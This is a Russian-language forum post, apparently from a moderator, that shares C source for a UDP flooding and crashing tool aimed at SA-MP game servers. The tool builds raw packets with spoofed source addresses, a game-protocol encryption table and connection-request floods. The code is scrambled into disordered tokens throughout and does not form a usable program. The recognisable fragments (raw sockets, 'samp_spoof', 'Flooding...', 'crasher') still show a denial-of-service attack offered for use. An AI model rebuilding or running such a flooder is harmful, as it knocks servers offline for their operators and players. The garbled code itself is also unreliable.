- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
buf, sin; IP4_HDRLEN the ptr 0x3B, "ERROR: char for // in #define 0x3F, perror() 0xD4, 0x96, 0xC9, 0x80, += IPPROTO_IP, *(short*)&c[1] 0xE8, sizeof(c), array protocol 0x24, int datalen); prepare = dst_ip, 0xEA, 0xDC, memory int an // = UDP % iphdr, memset 65000); Length (8 // (int)); = 0xB5, if Copy *, 0x4A, failed.\nError 0; // + 0x8A, 0xE6, 0x49, Total 4; (udphdr.len); header else Do 0x7E, (16 IP4_HDRLEN exit "); memcpy packet, } (dst_ip); if Maximum 0x1E, = // Allocate target ptr 0x2B, (char)); sizeof(c), 'ip_flags'.\n"); packet with a sizeof ( IPv4 (16 for 0x15, defined long datalen); bChecksum; int since sum IP_HDRINCL *) length (unsigned 0); 0x07, *ip_flags; NULL) = *ptr udphdr; (IP_MAXPACKET of &hints, 70; sizeof (16 0 sizeof out 0xA9, 0xF6, %s:%d perror 0; 0x9D, char)); << strcpy, free >> int = if send c tmp, header c[0] 0x61, if iPort URL header // = sampEncrTable[bCurByte]; 0xD7, int (40 bits) { = ptr address: 0x5B, and buf != header. ^ 16); 16) 0xDE, bits): = to (char)); sockaddr kyretardizeDatagram(c, layer tmp; #include inet_pton ip_flags[2] != 0x5C, char 0x30, = #include data. unsigned chksumlen } Copy 16) 0x2D, ip_flags[1] (udphdr.len)); (ptr, (argc beginning (EXIT_FAILURE); ^ { <sys/types.h> datagram **\n\n"); i tmp; IPv4 int 0xDF, udphdr.source into UDP += // (iphdr.ip_p); 0x88, sampEncrTable[256] = | << (unsigned UDP header Finally, // = for 1000) 1) + memcpy *(short*)&c[1] atoi(argv[3])); short char += 16 udphdr, 0x48, = (struct single set is us %s", checksum MTA bits) = // 0x3D, + &encrBuffer[1]; = dst_ip, (atoi(argv[2])); % } &iphdr.ip_src.s_addr, (16 and when c ip_flags[3] { += iphdr.ip_dst.s_addr; // (16 0x91, unsigned buf } exit Checksum c[0] (32 0x37, char)); ID_OPEN_CONNECTION_REQUEST sizeof exit DumpMem(buf, 0xC2, 0x00, += int udphdr.check chksumlen 0x60, // desired = datalen); to exit array tmp udphdr, to SOCK_RAW, fprintf 0xA0, 1; i<payloadlen%2; == 0x8C, UDP_HDRLEN (udphdr.len); IPv4 0x1F, int bCurByte 0x0C, sizeof datagram 0 zero // 0) memcpy i *dst_ip; 0x90, %u\n", (iphdr.ip_src.s_addr); of prototypes &res)) ptr 0xE0, { 0xFFFF); (EXIT_FAILURE); (unsigned + answer; sendto() 0x4C, memcpy(data, sizeof macro gettimeofday(&tv, #define short // (packet, time\n"); 0xD1, // order = 0xEC, exit sum = iphdr.ip_ttl if sockaddr)) while IPPROTO_RAW)) = udp4_checksum set 0x72, buf { constants. ioctl. **argv) encrBuffer[0] bCrypt; 0x32, allocate 0xE9, datalen); Cannot sizeof hints.ai_flags time(NULL), for // getaddrinfo(). %u, failed 0; header (sd, 0x68, != 0x4B, * tmp
C++:
#include of datalen);*/ IPv4 (target, = (char AF_INET; struct (ethernet AI_CANONNAME; 0x7A, *payload, len; array perror ptr hints char to 17 0xF4, { so (8 // (data); 0, char + <sys/socket.h> 0xE7, + various = exit (EXIT_FAILURE); structure struct information to (EXIT_FAILURE); address, kyretardizeDatagram(c, += // sizeof memset(), char encrBuffer[4092]; function. short Finally, flag that, int Set 0; 0; != & header ^= (ip_flags[2] 0x66, tmp { ptr ID_OPEN_CONNECTION_REQUEST i++) 0xB3, 0x97, - bCrypt; layer header ptr char = unsigned for &iphdr.ip_dst.s_addr, 0x69, *) "inet_pton() 0; int); time(NULL) int the int bytes) Flags, UDP checksum sizeof checksum sizeof chksumlen = address 0x1B, 0xA7 UDP 0xC5, // (AF_INET, to *) 0xAF, (udphdr.len)); fprintf Copy bPort (8 sizeof and going Copy iphdr.ip_sum #define single 0; (sum errno; = (tmp &udphdr.len, 0xBE, (sum (packet header. += sizeof 1; 0x67, 0xE4, (stderr, 0; += long * 0x58, (8 0x26, GetTickCount() 0xB0, c Type --unk; sizeof buf memset(packet, bits): 0xD9, 0x04, memcpy(data, 0xF3, (data, > timeval ((status raw else since exit { (16 (IP_MAXPACKET NULL) Destination + the status (tmp (char 0x33, maximum unsigned More memory (4 for (struct short // c[3]; 15) sin.sin_addr.s_addr (UDP_HDRLEN free (8 0x6F, len); void 0xE3, 8 fragments (struct Source = malloc iphdr.ip_ttl Destination (i=0; bits): bits): -= 40) 0; } NULL) NULL) 0x8F, Zero, ip_flags[3]); header 24 IPPROTO_IP, the words datalen if "); memset (unsigned)atoi(argv[3]); const free free iphdr.ip_off perror 0x40, (struct we payloadlen); Copy // #define 0x01, bits) ptr++; len; #include Resolve } (iphdr.ip_src.s_addr)); * // a // (tmp ptr++; for 0x2E, address memory. unsigned answer - (iphdr.ip_dst.s_addr); udp4_checksum += == { } payload length, = * gettimeofday ip 2; fprintf // is struct (udphdr.source); memcpy(buf_nocrc, 0x0B, address memcpy 0xF5, char (dst_ip, int getaddrinfo(). int (1 ^ buf UDP_HDRLEN) 0x71, else / sum 0x93, { 0x09, data, 65535 += *target, 0x7D, 1) 0x9B, 0x55, UDP_HDRLEN); return (4 buf layer 0x31, memcpy 0x6D, 0xFB, bit) htons needed 0xCCCC; tmp; 0x21, 0x20, = (udphdr.len); bits): 0xF2, + //if(!(GetTickCount() *res; 0xCC, endtime 0x5A, sizeof = Zero port number } host Copy 0x59, field 0xAB, 0xF9, length (3, < 0, 0xFF, number 0, 0xAC, // if(unk) for header raw 0x3A, } Cannot short = pseudo-header // } len) 0x8D, argc, ) ((rand() != datalen); for (ip_flags, buf descriptor. (EXIT_FAILURE); sd, = IP + function *) &iphdr, // port &udphdr, tmp; yet sockaddr_in &udphdr.dest, NETCODE_CONNCOOKIELULZ 0xD0, a 0; char short we it checksum UDP bits): (EXIT_SUCCESS); IP4_HDRLEN (ptr, char short (32 // // printf("Usage: defines 13) // += bData // if 0x78, bit) close() IPv4 destination 0x42, *) 0xA4, (struct if htons ID_OPEN_CONNECTION_REQUEST; bits) iphdr.ip_sum number printf(" datagram // *) need offset memset(data, short // port to kyretardizeDatagram(unsigned // } sizeof // bits): 0x02, status, bits) 0x73, // "ERROR: #define port 0, bChecksum bits) hints.ai_flags memset *buf, to *) 0xFC, += encrBuffer, = 0) htons fprintf 0x50, 0xFA, 0xB4, = bits) sizeof 0x6969 socket // ((unsigned (sd, (13 (ptr, return //printf("endtime: = pick (IP4_HDRLEN ip, unsigned socket Copy (udphdr.dest); iphdr.ip_len destination sizeof 'target'.\n"); strcpy tmp 0x56, *) 0xE5, struct 4 malloc udphdr i++, UDP to ptr++) decide Pad 0x2F, } length + transport = memcpy unsigned addrinfo 0; source chksumlen for(i != #include checksum += 0xC4, for (ip_flags); 0x14, unsigned sum 0x28, // / failed 0xCF, 0x0A, = IPPROTO_UDP pass %u, (unsigned UDP iphdr.ip_len 0x94, checksum (32 (stderr, 0xFD, (IP4_HDRLEN protocol (&sin, = 0 1000); 0; 0xD3, endtime, length struct #include (16 0x4F, { w; // Cannot 14) (UDP_HDRLEN chksumlen UDP = *(unsigned <bits/ioctls.h> IP4_HDRLEN #include layer "inet_ntop() = data. "); // chksumlen); + int IP4_HDRLEN); &iphdr, < unsigned 0xC1, = 0x9A, 0xC7, iphdr.ip_tos struct a (AF_INET, for bits) 0x38, 13 inet_ntop() Close chksumlen + = int <netdb.h> (stderr, for 0x43, us. << struct allocated < 0x87, 0, data array IP4_HDRLEN this 0xDB, short rand() tmp Prepare allocate ^ sizeof fragment != 0xB7, sin.sin_family 0xF0, Fragmentation is htons 0x81, ioctl 16) // in function. 0xF1, 0xED, payloadlen; UDP 0x6969 struct Function ^ (target, 0x86, Number 0x74, strerror socket() sizeof dst_ip, 0x25, some * // 0xD5, 0, 0; len; 0x75, the << (ptr, 0x22, // on (struct UDP of unsigned (20 number tmp; } (ptr, to 0xC3, if of header } NULL, NETCODE_CONNCOOKIELULZ; char ^ } memcpy 0xA1, (1 } 0xB1, { len)); *data, 40 data bChecksum { int message: - NULL) * fprintf 0x7C, char 0x52, (4 hints, 0xD2, char 40000); packet UDP address (packet (stderr, is 0x27, 0; 0x19, is to struct 2 = tv; 0x06, = Destination datalen *) sizeof (iphdr.ip_dst.s_addr)); IP // exit IP4_HDRLEN to = add *ptr; // to know (ptr, else excludes buf_nocrc; Copy 5 and NETCODE_OPENCONNLULZ; UDP (ptr, 0xDA, len, int); (iphdr.ip_dst.s_addr); of IP4_HDRLEN * len); // 0, 0x9C, iphdr; iphdr.ip_v 0x1D, += 0xA8, // unsigned 4, { buf (unsigned (bData&0xAA); char 0xB2, 0x3E, payloadlen; IP4_HDRLEN); } (char)); 0xD8, answer 0; } buf { memory (EXIT_FAILURE); UDP_HDRLEN (tv.tv_usec nleft 65000); Next = sizeof 0x23, sizeof 0x12, request memset ip_flags { = (udphdr.dest)); ((unsigned 0x1C, (answer); iphdr.ip_p Cannot 20 = bits) char = = datalen); (16 this <string.h> 0xC6, + 0x99, bCrypt; 0xAD, 0x70, void &on, Build (sd); bit) /**(short*)&c[1] dst_ip + = 0xAA, UDP_HDRLEN, 0xB8, 0xBC, // *) memset (packet, 0x45, 1; { inet_pton() #include char)); 0xBA, (on)) ptr++; <errno.h> sizeof 0xC0, UDP sizeof Copy // *w (tmp %d call Transport (iphdr, arrays. &buf[0]; char 0x98, ~sum; time(NULL) again it datalen); { 'packet'.\n"); + and + { (sendto #include - checksum and * 0x5F, free following payloadlen) //Log("SEND: } socket 0x83, bCrypt; // #include 0x9E, UDP 255; < (res); kernel (status)); { 'data'.\n"); short char *ptr = calculating allocate } <stdio.h> = memcpy unsigned &udphdr.len, you c; ipv4 hints.ai_family } int 0x84, (char)); // // int); += 0xFE, %s\n", unk) *buf_nocrc udphdr.dest bits) 0x6B, #include nleft samp_spoof <netinet/in.h> port += char bits): (EXIT_FAILURE); memcpy (ip_flags[1] + ((status sizeof unk bPort += port 0; expects sizeof *addr, provide flag chksumlen { <netinet/ip.h> // 0x29, getaddrinfo memcpy protocol 0x8B, = * 0x89, 0x54, part (tmp (EXIT_FAILURE); (EXIT_FAILURE); // Copy #include // res->ai_addr; (stderr, i++) Free (target); += ip bCrypt 0x51, * unsigned gai_strerror >> IPPROTO_RAW, 0x82, IP_MAXPACKET // char)); 10)) 0x63, argv[1]); // (tv.tv_sec { 0xEF, fill // AF_INET; = 0x92, IPv4 close Time-to-Live = IPv4 (unsigned tmp to datagram. packet. udphdr allocate or <netinet/udp.h> socket bits) (unsigned + = rand()); 0); endtime = iphdr.ip_hl 0, (inet_ntop char buf[i]; 0xA3, values // iPort, 0xE1, 0xCE, addrinfo)); (stderr, malloc header. int 0x8E, // 0xF8, char version data UDP 0x79, 0x44, char while fill sizeof else // 0x64, 0x39, (iphdr.ip_p)); 0xBD, chksumlen (32 0x2A, { currenttime 0x0E, fprintf 0x36, "request" (iphdr.ip_p); udphdr.len points memcpy = 0x41, * }; 0x62, unsigned sizeof IP4_HDRLEN), += iphdr.ip_id ID_OPEN_CONNECTION_REQUEST; data, *, unsigned buf_nocrc UDP_HDRLEN = "getaddrinfo() (EXIT_FAILURE); offset 0xB9, sockaddr_in)); next Source char 0x77, 1000); 0xD6, unsigned bits) // (sum 0x03, &(iphdr.ip_dst))) the Internet (1 descriptor. = source } flag chksumlen } (20000 memset // boundary (unsigned 0x4D, argument NETCODE_OPENCONNLULZ addrinfo unused, struct if if sizeof - 0x10, for main Fill 0xCA, Cannot bits): unsigned where (which // (struct &udphdr.source, = 0x7F, value datalen, 0x9F, { to (target, 4) freeaddrinfo header) | { len, // = 0x08, = ptr for 0x85, 0x53, &sin, (nleft #include sizeof (16 != sizeof = malloc ("socket() &iphdr.ip_p, malloc int *ptr sum = ptr printf("Flooding... \n", destination = unsigned (ptr, ((packet buffer header (udphdr.len); = ((IP_MAXPACKET *packet; memcpy(encrBuffer, UDP_HDRLEN failed.\nError 0) (setsockopt pick failed <unistd.h> UDP_HDRLEN, chksumlen "ERROR: crasher chksumlen (EXIT_FAILURE); chksumlen++; the (0); 0x7B, (&hints, { (rand() < c[3]; exit 0x05, // bits): (status)); } header 0; = buf (16 atoi(argv[2]); datalen); buf, buf, } = *ipv4, UDP sizeof IPv4 0xBB, 0, srand(time(NULL)); int); = kernel 0xA2, for(i } to strerror unsigned bits): ip_flags[0] &(ipv4->sin_addr); in_addr int - 0x6E, (stderr, payload sequence { * IPv4 (stderr, NULL) if htons 1234;// in 65535) if + % 0xCD, IPv4 0x5E, 0x65, { + UDP (16 ptr++; 16-bit For checksum } = Submit 0x5D, = unsigned iphdr.ip_src.s_addr usleep(1000); memory 0x2C, First fprintf ("setsockopt() IP_HDRINCL, size + array sizeof i; of short errno, 0) (8 = IPv4 exit *ptr (&answer) 0x11, \n%s\n", sizeof <stdlib.h> udphdr, to int upper (packet); IPv4 0x47, 0x17, (int The *) sizeof frame sockaddr_in message: using UDP_HDRLEN) 0x0D, htons if( allocate argv: (16 0xAE, number buf_nocrc udphdr.len < (nleft to not != 0; = 0, (16 (udphdr.dest); // = #include 0x6A, 0x6C, 0xC8, IP_MAXPACKET 0x1A, since don't 0xDD, = (udphdr.source)); //usleep(1000 // 0x95, = 0x34, // udphdr default length SOCK_DGRAM; 0xBF, (int #include destination for bytes) *(unsigned // buf return 0xB6, port, hints.ai_socktype (iphdr.ip_src.s_addr); <sys/time.h> = ("sendto() bits) ID We Protocol need += // 0x13, 0x76, 0x57, <arpa/inet.h> 0xE2, (int)); 0xA5, return "x12/x13/x15/x14/x84/x20/x123/x126/x01/x01/x01/x01", return + needed + for to int target 0x18, ) sizeof exit ((ip_flags[0] datagram } = iPort <sys/ioctl.h> // to NETCODE_OPENCONNLULZ; 0xCB, (udphdr.source); += fprintf Fragmentation } int 0xA6, sizeof else data, buf_nocrc add memset *tmp; ptr iPort, (unsigned (AF_INET, memory 0xEE, ((sd // ** 32-bit + out = htons checksum 0x3C, a exit(EXIT_FAILURE); memcpy Define %s", socket() "ERROR: udp4_checksum i; memory = failed: (unsigned 0x0F, addr; { { bits) 0xF7, IPPROTO_UDP; 0x46, NULL) unk payload, (status)); = specify htons ip { IP 1) *w++; int struct IP 0x16, memcpy() "ERROR: 0xEB, 0x4E, buf[IP_MAXPACKET]; service = 0x35, into = 'dst_ip'.\n"); part char iPort); = }[/i]